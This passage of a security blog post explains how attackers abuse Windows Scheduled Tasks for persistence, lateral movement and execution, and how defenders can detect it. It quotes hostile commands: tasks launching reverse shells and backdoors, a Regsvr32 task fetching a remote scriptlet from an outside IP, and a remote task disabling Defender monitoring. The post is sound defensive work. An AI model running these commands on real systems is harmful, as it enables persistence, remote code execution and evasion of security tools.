[/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT] [/Z] [/F] Example (local task creation):
schtasks /Create /SC minute /MO 1 /TN "Reverse shell" /TR c:\some\directory\revshell.exe
- /Create creates a new scheduled task
- /SC specifies the schedule frequency
- /MO specifies how often the task runs within its schedule type
- /TN defines the name that uniquely identifies the scheduled task
- /TR specifies the path and file name of the task to be run at the scheduled time
Example (remote task creation):
schtasks /Create /S [target] /RU [user_name] /RP [password] /TN "Example Task" /TR [task_command] /SC daily
- /S specifies the remote computer to connect to
- /RU specifies the user context under which the task runs (which can be system or a particular user)
- /RP specifies the password for the user specified with the /RU parameter
Option 2: at.exe (deprecated)
The built-in utility at.exe, which has been deprecated since Windows 8, allows to create, delete, change, run, and end tasks on a local or remote computer. Compared to schtasks.exe, at.exe can only be used by a member of the local Administrators group.
Example:
C:\Windows\System32\at.exe at 09:00 /interactive /every:s,su C:\Windows\System32\revshell.exe
The command above would run revshell.exe every Saturday and Sunday at 9:00AM. The /interactive parameter allows the command to interact with the desktop of the user who is logged on at the time the command runs.
Option 3: Task Scheduler (GUI) within the Control Panel
Task Scheduler can also be opened through the graphical user interface (GUI) within the Administrator Tools section of the Control Panel.
Option 4: PowerShell
Windows PowerShell provides a range of ScheduledTasks cmdlets, which can be utilized for the creation and management of scheduled tasks on Windows systems.
Example:
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T
PS C:\> Register-ScheduledTask Backdoor -InputObject $D"
- New-ScheduledTaskAction creates a scheduled task action
- New-ScheduledTaskTrigger creates a scheduled task trigger object
- New-ScheduledTask creates a scheduled task instance
- Register-ScheduledTask registers scheduled task definition on local computer
How is Scheduled Tasks used "in the wild"?
Based on our external observations of publicly reported incidents, option 1 (i.e., running schtasks.exe directly on the command line) is most often used by adversaries. Ordered by frequency, it is used to achieve persistence, lateral movement, code execution, detection evasion, and privilege escalation. Tactics often overlap.
Persistence
Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Examples include:
This threat actor, also known as Gamaredon or Armageddon Group, maintains persistence by using Scheduled Tasks with the payloads often named with seemingly random words and phrases with valid (but irrelevant) extensions:
schtasks.exe” /CREATE /sc minute /mo 9 /tn “deep-grounded” /tr “wscript.exe “C:\\Users\\Public\\\deerfield\\defiance.wav” /b /e:VBScript” /F
The malware component, test.exe, uses "cmd.exe" /C whoami” to check if it is running with “System” privileges and then creates persistence by creating the following scheduled task:
schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System"
Every minute the native Windows Script Host utility, wscript.exe, executes the malicious VBScript file, AppPool.vbs, which is located in the ProgramData subdirectory:
schtasks /Create /F /sc minute /mo 1 /tn “\WindowsAppPool\AppPool” /tr “wscript /b “C:\ProgrammData\WindowsAppPool\AppPool.vbs””
Briefly, the below command in the VBA code embedded in the Word document creates a scheduled task named SystemSoundsServices (mimicking System Sounds Service of Windows) to run Regsvr32.exe every 30 minutes. Regsvr32.exe is used to bypass application whitelisting script protection for executing a Component Object Model (COM) scriptlet that is dynamically downloaded from the given URL:
schtasks /create /sc MINUTE /tn "SystemSoundsServices" /tr "\"regsvr32.exe\" /s /n /u /i:http://193.169.245.137:80/g4.ico scrobj.dll" /mo 30 /F
Many other groups such as APT29 behind Sunburst or FIN6 have also been seen using schtasks.exe for persistence. Lateral movement
Lateral movement is often needed at an early stage of the attack lifecycle to move from one host to others in order to get closer and closer to the actual target (e.g., domain controller). Similar to WMI, Scheduled Tasks is used to execute code on remote systems over the network and follow a common execution pattern (i.e., create, run, and delete). The delete or “clean up” action is not necessary (e.g., if there is no need to remove traces of activity) and can be done both locally (i.e., on the newly compromised host) and remotely. Using Scheduled Tasks is common across a multitude of threat actors, ranging from ransomware groups to APTs. Some examples are:
Recent leaks from the Conti ransomware affiliates showed how they use Scheduled Tasks for lateral movement to deploy Cobalt Strike beacons laterally on networked machines, or to disable Windows Defender’s real-time monitoring by executing the PowerShell command Set-MpPreference -DisableRealTimeMonitoring $true as shown below:
SCHTASKS /s [machine_name] /RU “SYSTEM” /create /tn [name] /tr “powershell.exe Set-MpPreference-DisableRealtimeMonitoring $true” /sc ONCE /sd 01/01/1910 /st 00:00
Dark Halo used schtasks.exe to create new tasks on remote machines:
schtasks /create /F /tn "\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager" /tr "C:\Windows\SoftwareDistribution\EventCacheManager.exe" /sc ONSTART /ru system /S [machine_name]
Execution
Execution (TA0002) consists of techniques that result in adversary-controlled code running on a local or remote system, and is often indirectly fulfilled through other tactics. One example is
Chimera seems to heavily rely on Scheduled Tasks for executing a batch-file (.bat) to perform other tasks such as loading Cobalt Strike beacons or performing discovery commands on the compromised system as shown below:
schtasks /create /ru "SYSTEM" /tn "update" /tr "cmd /c c:\windows\temp\update.bat" /sc once /f /st 06:59:00
Detection Evasion
Privilege Escalation
Scheduled Tasks can run with elevated privileges, indirectly satisfying the privilege escalation tactic (TA0004). Privilege escalation can also be achieved with Scheduled Tasks where the attacker can either control the actual target of Scheduled Tasks (e.g., a binary executed by Scheduled Tasks) or the task running as a more privileged user.
The curse of detection: What is normal?
Given flexibility and accessibility of schtasks.exe, it is no surprise that attackers take advantage of it. So what can be done against it in terms of detection?
Step 1: Defining the baseline
Modern Windows systems include more than 100 benign scheduled tasks by default (e.g., for maintenance or backups). Third party software such as browsers create additional scheduled tasks during the installation (e.g., for regular updates). Only monitoring the use of schtasks.exe thus leads to false positives and/or a false sense of security. To identify malicious activities, the benign tasks first need to be properly understood (i.e., what are these tasks, what are their schedules, which parameters values such /TN or /TR do they use) to then use them for filtering. Understanding what is “normal” helps tremendously in building detection capabilities, particularly combined with an understanding of typical adversarial activities.
Step 2: Full understanding of schtasks.exe and bypass opportunities
To prevent attackers from bypassing the detection logic, it is key to understand how schtasks.exe works under the hood. This is because attackers might not even use the schtasks.exe executable itself, but directly harness the Windows API. SpecterOps’ Capability Abstraction model can be used to answer what API functions underlie a specific technique, which changes are made to the registry and other files, and also whether it results in (detectable) network activity. Step 3: Engineering detection logic across various levels
Once schtasks.exe inner workings are understood, detection logic can be implemented. The following ideas are not comprehensive, but give some direction:
Monitoring schtasks.exe execution:
The process creation of schtasks.exe can be monitored using Sysmon’s Event ID 1. For detection tuning, some indicators might be considered: Some binaries such cmd.exe, powershell.exe, regsvr32.exe, and rundll32.exe are often observed in malicious Scheduled Tasks activity. In addition, the /TN or /TR flags turn out to be useful in detection too. For /TR, for example, it might be possible to identify values seen in the wild (e.g., wercplsupporte.dll used by Blue Mockingbird compared to the legitimate wercplsupport.dll in the same directory). For /TN, random strings (e.g., 36jasjg29tkl used by Dridex), have strange grammar (e.g., in Turla’s Gazer implant) or names that seem to be trying to imitate legitimate names can be indicators for maliciousness. It is also key to detect unusual parent-child relationships.
Monitoring Scheduled Tasks without schtask.exe:
As mentioned above, attackers might directly harness the Windows API / COM Objects. For example, making use of Sysmon’s Event ID 7, it is possible to monitor for images such as taskschd.dll (which is normally imported by schtasks.exe and contains the code to create tasks) being loaded by “suspicious” binaries like Word or Excel. Under normal conditions, Word and Excel would not load it.
Monitoring Registry changes:
When creating Scheduled Tasks, there are multiple registry activities that can be monitored for using Sysmon’s Event ID 12 and 13. The paths to be monitored are:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCach
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
Monitoring task file creation:
During the task creation a file is created in the following path, which can be monitored using Sysmon’s Event ID 11:
C:\Windows\System32\Tasks
Monitoring network activity:
When creating Scheduled Tasks locally, no network activity is involved. However, when creating Scheduled Tasks remotely, the network is involved using Remote Procedure Calls (RPC). More specifically, Scheduled Tasks is built upon MS-TSCH, which in turn provides three interfaces with one of them being ITaskSchedulerService. Now, a typical flow of execution in a lateral movement scenario would be as follows:
- The adversary on host A transfers payload to target host B (e.g., via SMB).
- The adversary on host A remotely creates a task to execute payload on target host B by invoking the SchRpcRegisterTask method.
- The adversary on host A remotely executes the newly created task on host B by invoking the SchRpcRun method.
- Depending on the payload, the host B then might connect to a C2 server for persistence or exfiltrate data, among others.
- In addition, the adversary might also invoke SchRpcDelete to delete the created task and cover up traces.
To detect malicious network activity, the baseline needs to be defined: What kinds of systems are hosts A and B, and have they (or specific users) ever interacted with each other? If so, have they ever remotely executed Scheduled Tasks, and is that part of their function? What kind of authentication was used for the connection? What kind of payload was transferred? When did the activity take place? These questions (and many more) can help when building automatic detection logic but also during manual investigations.
Conclusion
The blog post hopefully gave an overview of Scheduled Tasks, why and how they (and other LOLBINs) are used by adversaries, as well as different levels on which its malicious use can be detected. Once detection logic is developed, fine-tuning them is necessary in order to reduce the number of false positives. Regular testing (e.g., through Red Teams or other exercises) is also key, particularly in ever-changing IT environments, where unintentional changes (e.g., deactivation of logging) can break originally working detection rules. Lastly, the detection logic needs to be updated regularly based on real-life observations of constantly changing attack vectors.